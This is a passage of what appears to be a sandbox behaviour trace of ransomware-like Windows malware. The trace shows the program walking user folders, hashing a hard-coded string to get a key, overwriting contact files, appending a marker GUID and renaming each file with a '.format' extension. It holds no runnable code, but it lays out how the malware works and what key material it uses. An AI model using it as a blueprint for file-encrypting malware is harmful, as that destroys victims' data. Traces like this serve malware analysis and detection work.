ftLastAccessTime.dwLowDateTime=0xb33ef210, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33ef210, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.924] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.924] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.924] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.924] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.924] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.924] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.924] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.924] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.924] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.924] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.924] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.924] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0066.924] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.924] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.924] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.924] PathFindFileNameW (pszPath="") returned="" [0066.925] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.925] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.925] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xae241f30, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xae241f30, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0066.925] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0066.925] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x969ff320, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x969ff320, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0066.925] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x969ff320, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x969ff320, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0066.925] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.925] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.925] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.925] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\") returned="Application Data\\" [0066.925] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.925] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.925] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.925] PathFindFileNameW (pszPath="") returned="" [0066.925] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x969ff320, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x969ff320, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0066.926] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.926] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.926] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="Contacts\\" [0066.926] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.926] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.926] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.926] PathFindFileNameW (pszPath="") returned="" [0066.926] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.926] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.926] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1 [0066.926] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact") returned=".contact" [0066.926] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0066.927] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=1178) returned 1 [0066.927] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0066.930] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.930] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0066.931] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x49a, lpOverlapped=0x0) returned 1 [0066.931] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0066.931] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0066.931] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0066.931] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac458) returned 1 [0066.932] CryptCreateHash (in: hProv=0x6ac458, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0066.932] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0066.932] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0066.932] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0066.932] GetLastError () returned 0x0 [0066.932] SetLastError (dwErrCode=0x0) [0066.932] GetLastError () returned 0x0 [0066.932] SetLastError (dwErrCode=0x0) [0066.932] GetLastError () returned 0x0 [0066.933] SetLastError (dwErrCode=0x0) [0066.933] GetLastError () returned 0x0 [0066.933] SetLastError (dwErrCode=0x0) [0066.933] GetLastError () returned 0x0 [0066.933] SetLastError (dwErrCode=0x0) [0066.933] GetLastError () returned 0x0 [0066.933] SetLastError (dwErrCode=0x0) [0066.933] GetLastError () returned 0x0 [0066.933] SetLastError (dwErrCode=0x0) [0066.933] GetLastError () returned 0x0 [0066.933] SetLastError (dwErrCode=0x0) [0066.933] GetLastError () returned 0x0 [0066.933] SetLastError (dwErrCode=0x0) [0066.933] GetLastError () returned 0x0 [0066.933] SetLastError (dwErrCode=0x0) [0066.933] GetLastError () returned 0x0 [0066.933] SetLastError (dwErrCode=0x0) [0066.933] GetLastError () returned 0x0 [0066.933] SetLastError (dwErrCode=0x0) [0066.933] GetLastError () returned 0x0 [0066.933] SetLastError (dwErrCode=0x0) [0066.933] GetLastError () returned 0x0 [0066.933] SetLastError (dwErrCode=0x0) [0066.933] GetLastError () returned 0x0 [0066.933] SetLastError (dwErrCode=0x0) [0066.933] GetLastError () returned 0x0 [0066.933] SetLastError (dwErrCode=0x0) [0066.933] CryptDestroyHash (hHash=0x31befa0) returned 1 [0066.934] CryptReleaseContext (hProv=0x6ac458, dwFlags=0x0) returned 1 [0066.934] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x49a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.934] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0066.934] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0066.934] CloseHandle (hObject=0x5c8) returned 1 [0066.935] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact.format")) returned 1 [0066.935] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.935] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.936] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0066.936] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0066.936] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.936] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0066.936] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.936] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact") returned=".contact" [0066.936] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0066.937] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=68382) returned 1 [0066.937] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0066.939] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x10af8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.939] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0066.940] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0066.941] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0066.941] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.941] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x10b1e, lpOverlapped=0x0) returned 1 [0066.941] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0066.941] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0066.941] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0066.941] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0066.941] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac458) returned 1 [0066.942] CryptCreateHash (in: hProv=0x6ac458, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0066.942] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0066.942] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0066.942] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0066.942] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0066.942] GetLastError () returned 0x0 [0066.942] SetLastError (dwErrCode=0x0) [0066.942] GetLastError () returned 0x0 [0066.942] SetLastError (dwErrCode=0x0) [0066.943] GetLastError () returned 0x0 [0066.943] SetLastError (dwErrCode=0x0) [0066.943] GetLastError () returned 0x0 [0066.943] SetLastError (dwErrCode=0x0) [0066.943] GetLastError () returned 0x0 [0066.943] SetLastError (dwErrCode=0x0) [0066.943] GetLastError () returned 0x0 [0066.943] SetLastError (dwErrCode=0x0) [0066.943] GetLastError () returned 0x0 [0066.943] SetLastError (dwErrCode=0x0) [0066.943] GetLastError () returned 0x0 [0066.943] SetLastError (dwErrCode=0x0) [0066.943] GetLastError () returned 0x0 [0066.943] SetLastError (dwErrCode=0x0) [0066.943] GetLastError () returned 0x0 [0066.943] SetLastError (dwErrCode=0x0) [0066.943] GetLastError () returned 0x0 [0066.943] SetLastError (dwErrCode=0x0) [0066.943] GetLastError () returned 0x0 [0066.943] SetLastError (dwErrCode=0x0) [0066.943] GetLastError () returned 0x0 [0066.943] SetLastError (dwErrCode=0x0) [0066.943] GetLastError () returned 0x0 [0066.943] SetLastError (dwErrCode=0x0) [0066.943] GetLastError () returned 0x0 [0066.943] SetLastError (dwErrCode=0x0) [0066.943] GetLastError () returned 0x0 [0066.943] SetLastError (dwErrCode=0x0) [0066.943] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0066.944] GetLastError () returned 0x0 [0066.944] SetLastError (dwErrCode=0x0) [0066.944] GetLastError () returned 0x0 [0066.944] SetLastError (dwErrCode=0x0) [0066.944] GetLastError () returned 0x0 [0066.944] SetLastError (dwErrCode=0x0) [0066.944] GetLastError () returned 0x0 [0066.944] SetLastError (dwErrCode=0x0) [0066.944] GetLastError () returned 0x0 [0066.944] SetLastError (dwErrCode=0x0) [0066.944] GetLastError () returned 0x0 [0066.944] SetLastError (dwErrCode=0x0) [0066.944] GetLastError () returned 0x0 [0066.944] SetLastError (dwErrCode=0x0) [0066.944] GetLastError () returned 0x0 [0066.944] SetLastError (dwErrCode=0x0) [0066.944] GetLastError () returned 0x0 [0066.944] SetLastError (dwErrCode=0x0) [0066.944] GetLastError () returned 0x0 [0066.944] SetLastError (dwErrCode=0x0) [0066.944] GetLastError () returned 0x0 [0066.944] SetLastError (dwErrCode=0x0) [0066.944] GetLastError () returned 0x0 [0066.944] SetLastError (dwErrCode=0x0) [0066.944] GetLastError () returned 0x0 [0066.944] SetLastError (dwErrCode=0x0) [0066.944] GetLastError () returned 0x0 [0066.944] SetLastError (dwErrCode=0x0) [0066.944] GetLastError () returned 0x0 [0066.945] SetLastError (dwErrCode=0x0) [0066.945] GetLastError () returned 0x0 [0066.945] SetLastError (dwErrCode=0x0) [0066.945] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0066.945] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0066.945] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31596d0 | out: hHeap=0x5d0000) returned 1 [0066.945] CryptDestroyHash (hHash=0x31befa0) returned 1 [0066.945] CryptReleaseContext (hProv=0x6ac458, dwFlags=0x0) returned 1 [0066.945] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0066.945] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10b20) returned 0x32b2f40 [0066.945] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0066.945] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0066.945] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x10b19, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x10b19, lpOverlapped=0x0) returned 1 [0066.946] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.946] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x10b1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.946] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d5b0 [0066.946] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0066.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0066.946] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0066.946] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0066.946] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d5b0 | out: hHeap=0x5d0000) returned 1 [0066.946] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0066.946] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0066.946] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0066.946] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0066.946] CloseHandle (hObject=0x5c8) returned 1 [0066.947] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0066.947] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x890) returned 0x3178dd8 [0066.947] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0066.947] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact.format")) returned 1 [0066.948] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.948] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.949] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0066.949] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", 